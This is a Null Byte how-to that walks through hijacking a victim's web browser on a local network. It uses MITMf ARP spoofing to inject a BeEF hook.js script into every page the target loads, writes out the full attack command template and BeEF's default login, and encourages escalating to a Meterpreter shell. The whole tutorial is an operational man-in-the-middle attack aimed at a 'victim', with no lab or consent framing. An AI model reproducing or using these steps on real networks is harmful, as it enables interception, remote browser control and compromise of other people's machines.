How to Hook Web Browsers with MITMf and BeEF « Null Byte :: WonderHowTo

Do you remember the last time we used BeEF? Well, now we get to use it again, but this time with MITMf! We are going to auto-inject the hooking script into every webpage the victim visits!RequirementsIf you don't already have it, install MITMf viaapt-get install mitmf. You might want toapt-get updatefirst. If you want to, you can clone it from the Git repository (git clonehttps://github.com/byt3bl33d3r/MITMf), but I've had trouble with that version.BeEF should already be installed in Kali/Back|Track.Step 1: Start BeEFOpen a new terminal and typecd /usr/share/beef-xss/.As you can see, we have BeEF installed, and we can go ahead and run it by typing./beef. You should get this output:Do you see theHook URL? That's important. Remember or copy the URL provided.Step 2: Open the PanelNow you can open the BeEF web panel with theUI URL. Once presented with the login page, you should just be able to get in with the default credentials "beef" for both the username and password. Once inside the UI, you should have this screen:Step 3: Inject the Hook.js ScriptOpen up a new terminal. We'll be using MITMf to inject the hooking script. Usemitmf --spoof --arp -i <interface> --gateway <router IP> --target <target IP> --inject --js-url <hook.js URL>as the format.--spoofloads thespoofplugin--arpredirects ARP packets-ispecifies the interface to inject packets on--gatewaysets the IP of your router to redirect through--targetsets the target IP to inject the hook.js script--injectloads theinjectfunction--js-urlspecifies the JavaScript code to injectFor instance, I use this command:Run the command and MITMf should start giving you some output.MITMf is telling us that it has successfully injected the hook.js script into the websites that the target visited.Step 4: Back to BeEFIf we check our BeEF panel, you will see the hooked computer right on theOnline Browserstab.Remember in my previous XSS posts where I said the victimmuststay on the webpage for you to have control of it? Guess what? You don't have to worry about that now! MITMf will continue injecting the script intoeverywebsite the victim visits, so you'll never lose control!ConclusionNow we know what power lies within MITMf... we can do so much more. From there, you can continue trying to exploit the victim machine, and maybe get a Meterpreter prompt! Ah, the joy of MitM attacks...NOTE: This only works with non-HSTS websites.You could try the--hstsfunction, but it might make things too slow and/or glitchy.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Got Beef? Getting Started with BeEFHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Take Pictures Through a Victim's Webcam with BeEFHow To:Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMfHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Backdooring on the Fly with MITMfHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkExploiting XSS with BeEF:Part 2How To:Hack web browsers with BeEFHow To:BeEF+Ettercap:Pwning MarriageHow To:Use beEF (Browser Exploitation Framework)How To:Inject Coinhive Miners into Public Wi-Fi HotspotsAtomic Web:The BEST Web Browser for iOS DevicesExploiting XSS with BeEF:Part 1News:3 Unique Alternative Web Browsers for Your iOS DeviceNews:Overview of New features in Microsoft Office 2010